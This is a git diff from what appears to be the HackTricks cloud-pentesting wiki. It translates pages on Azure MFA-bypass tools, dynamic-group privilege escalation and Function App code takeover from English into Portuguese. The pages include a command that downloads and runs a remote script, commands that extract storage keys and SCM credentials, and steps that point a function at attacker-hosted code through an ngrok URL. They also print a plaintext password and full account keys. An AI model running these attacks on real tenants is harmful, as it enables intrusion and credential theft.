It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected. - +MFASweep é um script PowerShell que tenta **fazer login em vários serviços da Microsoft usando um conjunto de credenciais fornecido e tentará identificar se o MFA está habilitado**. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifatorial estão configuradas, alguns protocolos podem acabar sendo deixados como fator único. Ele também possui uma verificação adicional para configurações de ADFS e pode tentar fazer login no servidor ADFS local se detectado. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` - ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded. +Esta ferramenta ajudou a identificar contornos de MFA e, em seguida, abusar de APIs em vários locatários AAD de produção, onde os clientes AAD acreditavam ter MFA aplicado, mas a autenticação baseada em ROPC foi bem-sucedida. > [!TIP] -> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force. - +> Você precisa ter permissões para listar todos os aplicativos para poder gerar a lista dos aplicativos a serem forçados. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json ./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv ./ropci auth bulk -i apps.csv -o results.json ``` - ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc.. +Donkey token é um conjunto de funções que visa ajudar consultores de segurança que precisam validar Políticas de Acesso Condicional, testes para portais Microsoft com 2FA habilitado, etc..
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
 
-**Test each portal** if it's possible to **login without MFA**: - +**Teste cada portal** se é possível **fazer login sem MFA**: ```powershell $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` - -Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested: - +Porque o **portal** **Azure** **não é restrito**, é possível **coletar um token do endpoint do portal para acessar qualquer serviço detectado** pela execução anterior. Neste caso, o Sharepoint foi identificado, e um token para acessá-lo é solicitado: ```powershell $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` - -Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token: - +Supondo que o token tenha a permissão Sites.Read.All (do Sharepoint), mesmo que você não consiga acessar o Sharepoint pela web por causa do MFA, é possível usar o token para acessar os arquivos com o token gerado: ```powershell $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` - -## References +## Referências - [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s) - [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index 322d18348..cc9939032 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -2,28 +2,27 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**. +**Grupos dinâmicos** são grupos que têm um conjunto de **regras** configuradas e todos os **usuários ou dispositivos** que correspondem às regras são adicionados ao grupo. Sempre que um **atributo** de usuário ou dispositivo é **alterado**, as regras dinâmicas são **reverificadas**. E quando uma **nova regra** é **criada**, todos os dispositivos e usuários são **verificados**. -Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups. +Grupos dinâmicos podem ter **funções do Azure RBAC atribuídas** a eles, mas **não é possível** adicionar **funções do AzureAD** a grupos dinâmicos. -This feature requires Azure AD premium P1 license. +Esse recurso requer licença Azure AD premium P1. ## Privesc -Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes. +Observe que, por padrão, qualquer usuário pode convidar convidados no Azure AD, então, se uma **regra** de grupo dinâmico concede **permissões** a usuários com base em **atributos** que podem ser **definidos** em um novo **convidado**, é possível **criar um convidado** com esses atributos e **escalar privilégios**. Também é possível para um convidado gerenciar seu próprio perfil e alterar esses atributos. -Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** +Obtenha grupos que permitem associação dinâmica: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** -### Example +### Exemplo -- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` -- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group - -For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ -Unfortunately the page doesn't allow to modify the attribute values so we need to use the API: +- **Exemplo de regra**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` +- **Descrição da regra**: Qualquer usuário convidado com um e-mail secundário contendo a string 'security' será adicionado ao grupo +Para o e-mail do usuário convidado, aceite o convite e verifique as configurações atuais de **aquele usuário** em [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ +Infelizmente, a página não permite modificar os valores dos atributos, então precisamos usar a API: ```powershell # Login with the gust user az login --allow-no-subscriptions @@ -33,22 +32,17 @@ az ad signed-in-user show # Update otherMails az rest --method PATCH \ - --url "https://graph.microsoft.com/v1.0/users/" \ - --headers 'Content-Type=application/json' \ - --body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}' +--url "https://graph.microsoft.com/v1.0/users/" \ +--headers 'Content-Type=application/json' \ +--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}' # Verify the update az rest --method GET \ - --url "https://graph.microsoft.com/v1.0/users/" \ - --query "otherMails" +--url "https://graph.microsoft.com/v1.0/users/" \ +--query "otherMails" ``` - -## References +## Referências - [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index dd5b81f35..413ef58c1 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,41 +4,38 @@ ## Function Apps -Check the following page for more information: +Verifique a página a seguir para mais informações: {{#ref}} ../az-services/az-function-apps.md {{#endref}} -### Bucket Read/Write +### Leitura/Escrita de Bucket -With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**. +Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar **diferentes contêineres** (personalizados ou com nomes pré-definidos) que podem conter **o código executado pela função**. -Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function. +Uma vez que você encontra onde o código da função está localizado, se você tiver permissões de escrita sobre ele, pode fazer a função executar qualquer código e escalar privilégios para as identidades gerenciadas anexadas à função. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`) -The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function. - -This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from +O código da função geralmente é armazenado dentro de um compartilhamento de arquivos. Com acesso suficiente, é possível modificar o arquivo de código e **fazer a função carregar código arbitrário**, permitindo escalar privilégios para as identidades gerenciadas anexadas à Função. +Esse método de implantação geralmente configura as definições **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** que você pode obter de ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -Those configs will contain the **Storage Account Key** that the Function can use to access the code. +Essas configurações conterão a **Chave da Conta de Armazenamento** que a Função pode usar para acessar o código. > [!CAUTION] -> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges. +> Com permissões suficientes para se conectar ao File Share e **modificar o script** em execução, é possível executar código arbitrário na Função e escalar privilégios. -The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares: +O seguinte exemplo usa macOS para se conectar ao file share, mas é recomendável verificar também a seguinte página para mais informações sobre file shares: {{#ref}} ../az-services/az-file-shares.md {{#endref}} - ```bash # Username is the name of the storage account # Password is the Storage Account Key @@ -48,50 +45,46 @@ The following example uses macOS to connect to the file share, but it's recommen open "smb://.file.core.windows.net/" ``` - - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**. - -Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in: +É comum encontrar os **zip releases** dentro da pasta `function-releases` do contêiner da Conta de Armazenamento que o aplicativo de função está usando em um contêiner **geralmente chamado `function-releases`**. +Normalmente, esse método de implantação definirá a configuração `WEBSITE_RUN_FROM_PACKAGE` em: ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -This config will usually contain a **SAS URL to download** the code from the Storage Account. +Esta configuração geralmente conterá uma **URL SAS para download** do código da Conta de Armazenamento. > [!CAUTION] -> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges. +> Com permissões suficientes para se conectar ao contêiner de blob que **contém o código em zip**, é possível executar código arbitrário na Função e escalar privilégios. -- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` +- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` -Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`. +Assim como no caso anterior, se a implantação for feita via Github Actions, é possível encontrar a pasta **`github-actions-deploy`** na Conta de Armazenamento contendo um zip do código e uma URL SAS para o zip na configuração `WEBSITE_RUN_FROM_PACKAGE`. -- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`) - -With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function: +- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`) +Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar o contêiner **`scm-releases`**. Nele, é possível encontrar a versão mais recente no **formato de arquivo de sistema de arquivos Squashfs** e, portanto, é possível ler o código da função: ```bash # List containers inside the storage account of the function app az storage container list \ - --account-name \ - --output table +--account-name \ +--output table # List files inside one container az storage blob list \ - --account-name \ - --container-name \ - --output table +--account-name \ +--container-name \ +--output table # Download file az storage blob download \ - --account-name \ - --container-name scm-releases \ - --name scm-latest-.zip \ - --file /tmp/scm-latest-.zip +--account-name \ +--container-name scm-releases \ +--name scm-latest-.zip \ +--file /tmp/scm-latest-.zip ## Even if it looks like the file is a .zip, it's a Squashfs filesystem @@ -105,12 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` - -It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **``** in the JSON files you can find inside. +É também possível encontrar as **chaves master e functions** armazenadas na conta de armazenamento no contêiner **`azure-webjobs-secrets`** dentro da pasta **``** nos arquivos JSON que você pode encontrar dentro. > [!CAUTION] -> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges. - +> Com permissões suficientes para se conectar ao contêiner de blob que **contém o código em um arquivo com extensão zip** (que na verdade é um **`squashfs`**), é possível executar código arbitrário na Função e escalar privilégios. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -119,36 +110,30 @@ mksquashfs /tmp/fs /tmp/scm-latest-.zip -b 131072 -noappend # Upload it to the blob storage az storage blob upload \ - --account-name \ - --container-name scm-releases \ - --name scm-latest-.zip \ - --file /tmp/scm-latest-.zip \ - --overwrite +--account-name \ +--container-name scm-releases \ +--name scm-latest-.zip \ +--file /tmp/scm-latest-.zip \ +--overwrite ``` - ### Microsoft.Web/sites/host/listkeys/action -This permission allows to list the function, master and system keys, but not the host one, of the specified function with: - +Esta permissão permite listar as chaves de função, mestre e sistema, mas não a chave do host, da função especificada com: ```bash az functionapp keys list --resource-group --name ``` - -With the master key it's also possible to to get the source code in a URL like: - +Com a chave mestra, também é possível obter o código-fonte em uma URL como: ```bash # Get "script_href" from az rest --method GET \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" # Access curl "?code=" ## Python example: curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v ``` - -And to **change the code that is being executed** in the function with: - +E para **mudar o código que está sendo executado** na função com: ```bash # Set the code to set in the function in /tmp/function_app.py ## The following continues using the python example @@ -158,73 +143,57 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` - ### Microsoft.Web/sites/functions/listKeys/action -This permission allows to get the host key, of the specified function with: - +Esta permissão permite obter a chave do host da função especificada com: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` - ### Microsoft.Web/sites/host/functionKeys/write -This permission allows to create/update a function key of the specified function with: - +Esta permissão permite criar/atualizar uma chave de função da função especificada com: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - ### Microsoft.Web/sites/host/masterKey/write -This permission allows to create/update a master key to the specified function with: - +Esta permissão permite criar/atualizar uma chave mestra para a função especificada com: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - > [!CAUTION] -> Remember that with this key you can also access the source code and modify it as explained before! +> Lembre-se de que com esta chave você também pode acessar o código-fonte e modificá-lo, conforme explicado anteriormente! ### Microsoft.Web/sites/host/systemKeys/write -This permission allows to create/update a system function key to the specified function with: - +Esta permissão permite criar/atualizar uma chave de função do sistema para a função especificada com: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` - ### Microsoft.Web/sites/config/list/action -This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**. - +Esta permissão permite obter as configurações de uma função. Dentro dessas configurações, pode ser possível encontrar os valores padrão **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contêm uma **chave de conta para acessar o armazenamento blob da função com permissões COMPLETAS**. ```bash az functionapp config appsettings list --name --resource-group ``` - -Moreover, this permission also allows to get the **SCM username and password** (if enabled) with: - +Além disso, essa permissão também permite obter o **nome de usuário e senha do SCM** (se habilitado) com: ```bash az rest --method POST \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` - ### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write -These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located. +Essas permissões permitem listar os valores de configuração de uma função, como vimos antes, além de **modificar esses valores**. Isso é útil porque essas configurações indicam onde o código a ser executado dentro da função está localizado. -It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application: - -- Start by getting the current config +Portanto, é possível definir o valor da configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para um arquivo zip de URL contendo o novo código a ser executado dentro de uma aplicação web: +- Comece obtendo a configuração atual ```bash az functionapp config appsettings list \ - --name \ - --resource-group +--name \ +--resource-group ``` - -- Create the code you want the function to run and host it publicly - +- Crie o código que você deseja que a função execute e hospede-o publicamente ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -234,228 +203,189 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` +- Modifique a função, mantenha os parâmetros anteriores e adicione no final a configuração **`WEBSITE_RUN_FROM_PACKAGE`** apontando para a URL com o **zip** contendo o código. -- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code. - -The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app. - +O seguinte é um exemplo das minhas **próprias configurações que você precisará alterar os valores para os seus**, note no final os valores `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, onde eu estava hospedando o aplicativo. ```bash # Modify the function az rest --method PUT \ - --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \ - --headers '{"Content-Type": "application/json"}' \ - --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' +--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \ +--headers '{"Content-Type": "application/json"}' \ +--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` - ### Microsoft.Web/sites/hostruntime/vfs/write -With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint): - +Com esta permissão, é **possível modificar o código de uma aplicação** através do console da web (ou através do seguinte endpoint da API): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ - --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ - --body @/tmp/body +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ +--headers '{"Content-Type": "application/json", "If-Match": "*"}' \ +--body @/tmp/body ``` - ### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) -This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**: - +Esta permissão permite listar todos os perfis de publicação que basicamente contêm **credenciais de autenticação básica**: ```bash # Get creds az functionapp deployment list-publishing-profiles \ - --name \ - --resource-group \ - --output json +--name \ +--resource-group \ +--output json ``` - -Another option would be to set you own creds and use them using: - +Outra opção seria definir suas próprias credenciais e usá-las com: ```bash az functionapp deployment user set \ - --user-name DeployUser123456 g \ - --password 'P@ssw0rd123!' +--user-name DeployUser123456 g \ +--password 'P@ssw0rd123!' ``` +- Se as credenciais **REDACTED** -- If **REDACTED** credentials - -If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` - +Se você ver que essas credenciais estão **REDACTED**, é porque você **precisa habilitar a opção de autenticação básica do SCM** e para isso você precisa da segunda permissão (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' # Enable basic authentication for FTP az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - } +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} ``` +- **Método SCM** -- **Method SCM** - -Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables: - +Então, você pode acessar com essas **credenciais de autenticação básica para a URL SCM** do seu aplicativo de função e obter os valores das variáveis de ambiente: ```bash # Get settings values curl -u ':' \ - https://.scm.azurewebsites.net/api/settings -v +https://.scm.azurewebsites.net/api/settings -v # Deploy code to the funciton zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ - https://.scm.azurewebsites.net/api/zipdeploy +https://.scm.azurewebsites.net/api/zipdeploy ``` +_Note que o **nome de usuário SCM** é geralmente o caractere "$" seguido pelo nome do aplicativo, então: `$`._ -_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$`._ +Você também pode acessar a página da web em `https://.scm.azurewebsites.net/BasicAuth` -You can also access the web page from `https://.scm.azurewebsites.net/BasicAuth` +Os valores das configurações contêm a **AccountKey** da conta de armazenamento que armazena os dados do aplicativo de função, permitindo controlar essa conta de armazenamento. -The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account. - -- **Method FTP** - -Connect to the FTP server using: +- **Método FTP** +Conecte-se ao servidor FTP usando: ```bash # macOS install lftp brew install lftp # Connect using lftp lftp -u '','' \ - ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/ +ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/ # Some commands ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` - -_Note that the **FTP username** is usually in the format \\\$\._ +_Note que o **nome de usuário FTP** geralmente está no formato \\\$\._ ### Microsoft.Web/sites/publish/Action -According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application: - +De acordo com [**a documentação**](https://github.com/projectkudu/kudu/wiki/REST-API#command), esta permissão permite **executar comandos dentro do servidor SCM**, o que pode ser usado para modificar o código-fonte da aplicação: ```bash az rest --method POST \ - --resource "https://management.azure.com/" \ - --url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ - --body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug +--resource "https://management.azure.com/" \ +--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ +--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug ``` - ### Microsoft.Web/sites/hostruntime/vfs/read -This permission allows to **read the source code** of the app through the VFS: - +Esta permissão permite **ler o código-fonte** do aplicativo através do VFS: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` - ### Microsoft.Web/sites/functions/token/action -With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code: - +Com esta permissão, é possível [obter o **token de administrador**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que pode ser usado posteriormente para recuperar a **chave mestra** e, portanto, acessar e modificar o código da função: ```bash # Get admin token az rest --method POST \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ - --headers '{"Content-Type": "application/json"}' \ - --debug +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ +--headers '{"Content-Type": "application/json"}' \ +--debug # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ - -H "Authorization: Bearer " +-H "Authorization: Bearer " ``` - ### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) -This permissions allows to **enable functions** that might be disabled (or disable them). - +Esta permissão permite **ativar funções** que podem estar desativadas (ou desativá-las). ```bash # Enable a disabled function az functionapp config appsettings set \ - --name \ - --resource-group \ - --settings "AzureWebJobs.http_trigger1.Disabled=false" +--name \ +--resource-group \ +--settings "AzureWebJobs.http_trigger1.Disabled=false" ``` - -It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis): - +É também possível ver se uma função está habilitada ou desabilitada na seguinte URL (usando a permissão entre parênteses): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` - ### 